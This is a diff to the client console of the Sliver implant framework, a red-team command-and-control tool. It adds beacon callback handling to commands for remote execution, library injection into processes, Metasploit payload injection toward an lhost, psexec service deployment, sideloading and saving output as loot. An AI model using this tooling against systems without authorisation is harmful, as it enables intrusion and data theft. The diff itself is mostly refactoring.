if ctx.Flags.Bool("loot") && 0 < len(combined) {
|
||||
name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
|
||||
err = loot.AddLootFile(con.Rpc, name, "console.txt", []byte(combined), false)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save output as loot: %s\n", err)
|
||||
} else {
|
||||
con.PrintInfof("Output saved as loot\n")
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
if exec.Response != nil && exec.Response.Async {
|
||||
con.AddBeaconCallback(exec.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, exec)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintExecute(exec, ctx, con)
|
||||
})
|
||||
con.PrintAsyncResponse(exec.Response)
|
||||
} else {
|
||||
PrintExecute(exec, ctx, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintExecute - Print the output of an executed command
|
||||
func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
stdout := ctx.Flags.String("stdout")
|
||||
stderr := ctx.Flags.String("stderr")
|
||||
cmdPath := ctx.Args.String("command")
|
||||
args := ctx.Args.StringList("arguments")
|
||||
|
||||
output := ctx.Flags.Bool("output")
|
||||
if !output {
|
||||
if exec.Status == 0 {
|
||||
con.PrintInfof("Command executed successfully\n")
|
||||
} else {
|
||||
con.PrintErrorf("Exit code %d\n", exec.Status)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
combined := ""
|
||||
if stdout == "" {
|
||||
combined = string(exec.Stdout)
|
||||
con.PrintInfof("Output:\n%s", combined)
|
||||
} else {
|
||||
con.PrintInfof("Stdout saved at %s\n", stdout)
|
||||
}
|
||||
|
||||
if stderr == "" {
|
||||
if !ignoreStderr && 0 < len(exec.Stderr) {
|
||||
combined = fmt.Sprintf("%s\nStderr:\n%s", combined, string(exec.Stderr))
|
||||
con.PrintInfof("Stderr:\n%s", string(exec.Stderr))
|
||||
}
|
||||
} else {
|
||||
con.PrintInfof("Stderr saved at %s\n", stderr)
|
||||
}
|
||||
|
||||
if exec.Status != 0 {
|
||||
con.PrintErrorf("Exited with status %d!\n", exec.Status)
|
||||
}
|
||||
if saveLoot && 0 < len(combined) {
|
||||
name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
|
||||
err := loot.AddLootFile(con.Rpc, name, "console.txt", []byte(combined), false)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save output as loot: %s\n", err)
|
||||
} else {
|
||||
con.PrintInfof("Output saved as loot\n")
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,58 @@
|
||||
package exec
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
func LibInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
libPath := ctx.Args.String("library-path")
|
||||
pid := ctx.Args.Uint64("pid")
|
||||
data, err := ioutil.ReadFile(libPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Injecting %s into %d...", libPath, pid), ctrl)
|
||||
libInject, err := con.Rpc.LibInject(context.Background(), &sliverpb.LibInjectReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Pid: pid,
|
||||
Data: data,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
if libInject.Response != nil && libInject.Response.Async {
|
||||
con.AddBeaconCallback(libInject.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, libInject)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response: %s", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Injected %s into %d\n", libPath, pid)
|
||||
})
|
||||
con.PrintAsyncResponse(libInject.Response)
|
||||
} else {
|
||||
con.PrintInfof("Injected %s into %d\n", libPath, pid)
|
||||
}
|
||||
|
||||
}
|
||||
@@ -25,6 +25,8 @@ import (
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
@@ -57,7 +59,7 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
msg := fmt.Sprintf("Injecting payload %s %s/%s -> %s:%d ...",
|
||||
payloadName, session.OS, session.Arch, lhost, lport)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
_, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
|
||||
msfTask, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Payload: payloadName,
|
||||
LHost: lhost,
|
||||
@@ -70,7 +72,24 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if msfTask.Response != nil && msfTask.Response.Async {
|
||||
con.AddBeaconCallback(msfTask.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, msfTask)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintMsfRemote(msfTask, con)
|
||||
})
|
||||
con.PrintAsyncResponse(msfTask.Response)
|
||||
} else {
|
||||
con.PrintInfof("Executed payload on target\n")
|
||||
PrintMsfRemote(msfTask, con)
|
||||
}
|
||||
}
|
||||
|
||||
func PrintMsfRemote(msfRemote *sliverpb.Task, con *console.SliverConsoleClient) {
|
||||
|
||||
}
|
||||
@@ -21,7 +21,7 @@ package exec
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"math/rand"
|
||||
insecureRand "math/rand"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
@@ -44,7 +44,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
hostname := ctx.Args.String("hostname")
|
||||
if hostname == "" {
|
||||
con.PrintWarnf("you need to provide a target host, see `help psexec` for examples")
|
||||
con.PrintErrorf("You need to provide a target host, see `help psexec` for examples")
|
||||
return
|
||||
}
|
||||
profile := ctx.Flags.String("profile")
|
||||
@@ -54,7 +54,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
uploadPath := fmt.Sprintf(`\\%s\%s`, hostname, strings.ReplaceAll(strings.ToLower(ctx.Flags.String("binpath")), "c:", "C$"))
|
||||
|
||||
if serviceName == "Sliver" || serviceDesc == "Sliver implant" {
|
||||
con.PrintWarnf("Warning: You're going to deploy the following service:\n- Name: %s\n- Description: %s\n", serviceName, serviceDesc)
|
||||
con.PrintWarnf("You're going to deploy the following service:\n- Name: %s\n- Description: %s\n", serviceName, serviceDesc)
|
||||
con.PrintWarnf("You might want to change that before going further...\n")
|
||||
if !settings.IsUserAnAdult(con) {
|
||||
return
|
||||
@@ -160,10 +160,9 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
func randomString(length int) string {
|
||||
var charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
|
||||
var seededRand *rand.Rand = rand.New(rand.NewSource(time.Now().UnixNano()))
|
||||
b := make([]byte, length)
|
||||
for i := range b {
|
||||
b[i] = charset[seededRand.Intn(len(charset))]
|
||||
b[i] = charset[insecureRand.Intn(len(charset))]
|
||||
}
|
||||
return string(b)
|
||||
}
|
||||
@@ -3,14 +3,17 @@ package exec
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
@@ -20,19 +23,20 @@ import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// SideloadCmd - Sideload a shared library on the remote system
|
||||
func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSession()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -66,14 +70,38 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
hostname := getHostname(session, beacon)
|
||||
if sideload.Response != nil && sideload.Response.Async {
|
||||
con.AddBeaconCallback(sideload.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, sideload)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintSideload(sideload, hostname, ctx, con)
|
||||
})
|
||||
con.PrintAsyncResponse(sideload.Response)
|
||||
} else {
|
||||
PrintSideload(sideload, hostname, ctx, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintSideload - Print the sideload command output
|
||||
func PrintSideload(sideload *sliverpb.Sideload, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if sideload.GetResponse().GetErr() != "" {
|
||||
con.PrintErrorf("Error: %s\n", sideload.GetResponse().GetErr())
|
||||
con.PrintErrorf("%s\n", sideload.GetResponse().GetErr())
|
||||
return
|
||||
}
|
||||
|
||||
var outFilePath *os.File
|
||||
var err error
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
|
||||
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
con.PrintInfof("Output:\n%s", sideload.GetResult())
|
||||
if outFilePath != nil {
|
||||
|
||||
@@ -5,18 +5,20 @@ import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// SpawnDllCmd - Spawn execution of a DLL on the remote system
|
||||
func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSession()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
dllArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
|
||||
@@ -39,21 +41,45 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Kill: !ctx.Flags.Bool("keep-alive"),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err)
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
hostname := getHostname(session, beacon)
|
||||
if spawndll.Response != nil && spawndll.Response.Async {
|
||||
con.AddBeaconCallback(spawndll.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, spawndll)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintSpawnDll(spawndll, hostname, ctx, con)
|
||||
})
|
||||
con.PrintAsyncResponse(spawndll.Response)
|
||||
} else {
|
||||
PrintSpawnDll(spawndll, hostname, ctx, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintSpawnDll - Print the SpawnDll command response
|
||||
func PrintSpawnDll(spawndll *sliverpb.SpawnDll, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if spawndll.GetResponse().GetErr() != "" {
|
||||
con.PrintErrorf("Error: %s\n", spawndll.GetResponse().GetErr())
|
||||
con.PrintErrorf("Failed to spawn dll: %s\n", spawndll.GetResponse().GetErr())
|
||||
return
|
||||
}
|
||||
|
||||
var outFilePath *os.File
|
||||
var err error
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
|
||||
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
con.PrintInfof("Output:\n%s", spawndll.GetResult())
|
||||
if outFilePath != nil {
|
||||
|
||||
+28
-11
@@ -11,6 +11,7 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// SSHCmd - A built-in SSH client command for the remote system (doesn't shell out)
|
||||
@@ -51,7 +52,7 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
}
|
||||
|
||||
commandResp, err := con.Rpc.RunSSHCommand(context.Background(), &sliverpb.SSHCommandReq{
|
||||
sshCmd, err := con.Rpc.RunSSHCommand(context.Background(), &sliverpb.SSHCommandReq{
|
||||
Username: username,
|
||||
Hostname: hostname,
|
||||
Port: uint32(port),
|
||||
@@ -64,20 +65,36 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if sshCmd.Response != nil && sshCmd.Response.Async {
|
||||
con.AddBeaconCallback(sshCmd.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, sshCmd)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintSSHCmd(sshCmd, con)
|
||||
})
|
||||
con.PrintAsyncResponse(sshCmd.Response)
|
||||
} else {
|
||||
PrintSSHCmd(sshCmd, con)
|
||||
}
|
||||
}
|
||||
|
||||
if commandResp.Response != nil && commandResp.Response.Err != "" {
|
||||
con.PrintErrorf("Error: %s\n", commandResp.Response.Err)
|
||||
if commandResp.StdErr != "" {
|
||||
con.PrintErrorf("StdErr: %s\n", commandResp.StdErr)
|
||||
// PrintSSHCmd - Print the ssh command response
|
||||
func PrintSSHCmd(sshCmd *sliverpb.SSHCommand, con *console.SliverConsoleClient) {
|
||||
if sshCmd.Response != nil && sshCmd.Response.Err != "" {
|
||||
con.PrintErrorf("Error: %s\n", sshCmd.Response.Err)
|
||||
if sshCmd.StdErr != "" {
|
||||
con.PrintErrorf("StdErr: %s\n", sshCmd.StdErr)
|
||||
}
|
||||
return
|
||||
}
|
||||
if commandResp.StdOut != "" {
|
||||
con.PrintInfof("Output:")
|
||||
con.Println(commandResp.StdOut)
|
||||
if commandResp.StdErr != "" {
|
||||
con.PrintInfof("StdErr")
|
||||
con.Println(commandResp.StdErr)
|
||||
if sshCmd.StdOut != "" {
|
||||
con.PrintInfof("Output:\n")
|
||||
con.Println(sshCmd.StdOut)
|
||||
if sshCmd.StdErr != "" {
|
||||
con.PrintInfof("StdErr:\n")
|
||||
con.Println(sshCmd.StdErr)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -3,7 +3,6 @@ package extensions
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/binary"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
@@ -13,10 +12,9 @@ import (
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"golang.org/x/text/encoding/unicode"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
@@ -302,6 +300,7 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
if err = loadExtension(ctx, session, con, &ext); err != nil {
|
||||
con.PrintErrorf("Could not load extension: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
@@ -378,7 +377,7 @@ func getBOFArgs(ctx *grumble.Context, binPath string, ext extensionCommand) ([]b
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
argsBuffer := BOFArgsBuffer{
|
||||
argsBuffer := core.BOFArgsBuffer{
|
||||
Buffer: new(bytes.Buffer),
|
||||
}
|
||||
// Parse BOF arguments from grumble
|
||||
@@ -427,7 +426,7 @@ func getBOFArgs(ctx *grumble.Context, binPath string, ext extensionCommand) ([]b
|
||||
return nil, err
|
||||
}
|
||||
// Now build the extension's argument buffer
|
||||
extensionArgsBuffer := BOFArgsBuffer{
|
||||
extensionArgsBuffer := core.BOFArgsBuffer{
|
||||
Buffer: new(bytes.Buffer),
|
||||
}
|
||||
err = extensionArgsBuffer.AddString(ext.Entrypoint)
|
||||
@@ -462,64 +461,3 @@ func cmdExists(name string, app *grumble.App) bool {
|
||||
func init() {
|
||||
commandMap = make(map[string]extensionCommand)
|
||||
}
|
||||
|
||||
// BOF Specific code
|
||||
|
||||
type BOFArgsBuffer struct {
|
||||
Buffer *bytes.Buffer
|
||||
}
|
||||
|
||||
func (b *BOFArgsBuffer) AddData(d []byte) error {
|
||||
dataLen := uint32(len(d))
|
||||
err := binary.Write(b.Buffer, binary.LittleEndian, &dataLen)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return binary.Write(b.Buffer, binary.LittleEndian, &d)
|
||||
}
|
||||
|
||||
func (b *BOFArgsBuffer) AddShort(d uint16) error {
|
||||
return binary.Write(b.Buffer, binary.LittleEndian, &d)
|
||||
}
|
||||
|
||||
func (b *BOFArgsBuffer) AddInt(d uint32) error {
|
||||
return binary.Write(b.Buffer, binary.LittleEndian, &d)
|
||||
}
|
||||
|
||||
func (b *BOFArgsBuffer) AddString(d string) error {
|
||||
stringLen := uint32(len(d)) + 1
|
||||
err := binary.Write(b.Buffer, binary.LittleEndian, &stringLen)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
dBytes := append([]byte(d), 0x00)
|
||||
return binary.Write(b.Buffer, binary.LittleEndian, dBytes)
|
||||
}
|
||||
|
||||
func (b *BOFArgsBuffer) AddWString(d string) error {
|
||||
encoder := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM).NewEncoder()
|
||||
strBytes := append([]byte(d), 0x00)
|
||||
utf16Data, err := encoder.Bytes(strBytes)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
stringLen := uint32(len(utf16Data))
|
||||
err = binary.Write(b.Buffer, binary.LittleEndian, &stringLen)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return binary.Write(b.Buffer, binary.LittleEndian, utf16Data)
|
||||
}
|
||||
|
||||
func (b *BOFArgsBuffer) GetBuffer() ([]byte, error) {
|
||||
outBuffer := new(bytes.Buffer)
|
||||
err := binary.Write(outBuffer, binary.LittleEndian, uint32(b.Buffer.Len()))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = binary.Write(outBuffer, binary.LittleEndian, b.Buffer.Bytes())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return outBuffer.Bytes(), nil
|
||||
}
|
||||
@@ -59,7 +59,6 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
if download.Response != nil && download.Response.Async {
|
||||
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
con.PrintInfof("Task completed: %s\n\n", task.ID)
|
||||
err = proto.Unmarshal(task.Response, download)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
|
||||
@@ -47,7 +47,6 @@ func CdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
if pwd.Response != nil && pwd.Response.Async {
|
||||
con.AddBeaconCallback(pwd.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
con.PrintInfof("Task completed: %s\n\n", task.ID)
|
||||
err = proto.Unmarshal(task.Response, pwd)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
|
||||
@@ -71,7 +71,6 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
if download.Response != nil && download.Response.Async {
|
||||
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
con.PrintInfof("Task completed: %s\n\n", task.ID)
|
||||
err = proto.Unmarshal(task.Response, download)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
|
||||
@@ -70,8 +70,9 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
remotePath = "."
|
||||
} else {
|
||||
// Then we need to test for a filter on the end of the string
|
||||
// The indices should be the same because we did not change the length of the string
|
||||
baseDir := remotePath[:lastSeparatorOccurrence]
|
||||
|
||||
// The indicies should be the same because we did not change the length of the string
|
||||
baseDir := remotePath[:lastSeparatorOccurrence+1]
|
||||
potentialFilter := remotePath[lastSeparatorOccurrence+1:]
|
||||
|
||||
_, err := filepath.Match(potentialFilter, "")
|
||||
@@ -94,7 +95,6 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
if ls.Response != nil && ls.Response.Async {
|
||||
con.AddBeaconCallback(ls.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
con.PrintInfof("Task completed: %s\n\n", task.ID)
|
||||
err = proto.Unmarshal(task.Response, ls)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
|
||||
@@ -53,7 +53,6 @@ func MkdirCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
if mkdir.Response != nil && mkdir.Response.Async {
|
||||
con.AddBeaconCallback(mkdir.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
con.PrintInfof("Task completed: %s\n\n", task.ID)
|
||||
err = proto.Unmarshal(task.Response, mkdir)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
|
||||
@@ -44,7 +44,6 @@ func PwdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
if pwd.Response != nil && pwd.Response.Async {
|
||||
con.AddBeaconCallback(pwd.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
con.PrintInfof("Task completed: %s\n\n", task.ID)
|
||||
err = proto.Unmarshal(task.Response, pwd)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
|
||||
@@ -55,7 +55,6 @@ func RmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
if rm.Response != nil && rm.Response.Async {
|
||||
con.AddBeaconCallback(rm.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
con.PrintInfof("Task completed: %s\n\n", task.ID)
|
||||
err = proto.Unmarshal(task.Response, rm)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
|
||||
@@ -83,7 +83,6 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
if upload.Response != nil && upload.Response.Async {
|
||||
con.AddBeaconCallback(upload.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
con.PrintInfof("Task completed: %s\n\n", task.ID)
|
||||
err = proto.Unmarshal(task.Response, upload)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
|
||||
@@ -11,7 +11,7 @@ import (
|
||||
)
|
||||
|
||||
var (
|
||||
minBeaconInterval = 15 * time.Second
|
||||
minBeaconInterval = 5 * time.Second
|
||||
ErrBeaconIntervalTooShort = fmt.Errorf("Beacon interval must be %v or greater", minBeaconInterval)
|
||||
)
|
||||
|
||||
|
||||
@@ -97,11 +97,21 @@ func GenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
compile(config, save, con)
|
||||
}
|
||||
|
||||
func expandPath(path string) string {
|
||||
// unless path starts with ~
|
||||
if len(path) == 0 || path[0] != 126 {
|
||||
return path
|
||||
}
|
||||
|
||||
return filepath.Join(os.Getenv("HOME"), path[1:])
|
||||
}
|
||||
|
||||
func saveLocation(save, DefaultName string) (string, error) {
|
||||
var saveTo string
|
||||
if save == "" {
|
||||
save, _ = os.Getwd()
|
||||
}
|
||||
save = expandPath(save)
|
||||
fi, err := os.Stat(save)
|
||||
if os.IsNotExist(err) {
|
||||
log.Printf("%s does not exist\n", save)
|
||||
@@ -168,22 +178,22 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
|
||||
mtlsC2 := parseMTLSc2(ctx.Flags.String("mtls"))
|
||||
mtlsC2 := ParseMTLSc2(ctx.Flags.String("mtls"))
|
||||
c2s = append(c2s, mtlsC2...)
|
||||
|
||||
wgC2 := parseWGc2(ctx.Flags.String("wg"))
|
||||
wgC2 := ParseWGc2(ctx.Flags.String("wg"))
|
||||
c2s = append(c2s, wgC2...)
|
||||
|
||||
httpC2 := parseHTTPc2(ctx.Flags.String("http"))
|
||||
httpC2 := ParseHTTPc2(ctx.Flags.String("http"))
|
||||
c2s = append(c2s, httpC2...)
|
||||
|
||||
dnsC2 := parseDNSc2(ctx.Flags.String("dns"))
|
||||
dnsC2 := ParseDNSc2(ctx.Flags.String("dns"))
|
||||
c2s = append(c2s, dnsC2...)
|
||||
|
||||
namedPipeC2 := parseNamedPipec2(ctx.Flags.String("named-pipe"))
|
||||
namedPipeC2 := ParseNamedPipec2(ctx.Flags.String("named-pipe"))
|
||||
c2s = append(c2s, namedPipeC2...)
|
||||
|
||||
tcpPivotC2 := parseTCPPivotc2(ctx.Flags.String("tcp-pivot"))
|
||||
tcpPivotC2 := ParseTCPPivotc2(ctx.Flags.String("tcp-pivot"))
|
||||
c2s = append(c2s, tcpPivotC2...)
|
||||
|
||||
var symbolObfuscation bool
|
||||
@@ -339,7 +349,8 @@ func getTargets(targetOS string, targetArch string, con *console.SliverConsoleCl
|
||||
return targetOS, targetArch
|
||||
}
|
||||
|
||||
func parseMTLSc2(args string) []*clientpb.ImplantC2 {
|
||||
// ParseMTLSc2 - Parse mtls connection string arg
|
||||
func ParseMTLSc2(args string) []*clientpb.ImplantC2 {
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
if args == "" {
|
||||
return c2s
|
||||
@@ -358,7 +369,8 @@ func parseMTLSc2(args string) []*clientpb.ImplantC2 {
|
||||
return c2s
|
||||
}
|
||||
|
||||
func parseWGc2(args string) []*clientpb.ImplantC2 {
|
||||
// ParseWGc2 - Parse wg connect string arg
|
||||
func ParseWGc2(args string) []*clientpb.ImplantC2 {
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
if args == "" {
|
||||
return c2s
|
||||
@@ -378,7 +390,8 @@ func parseWGc2(args string) []*clientpb.ImplantC2 {
|
||||
return c2s
|
||||
}
|
||||
|
||||
func parseHTTPc2(args string) []*clientpb.ImplantC2 {
|
||||
// ParseHTTPc2 - Parse HTTP connection string arg
|
||||
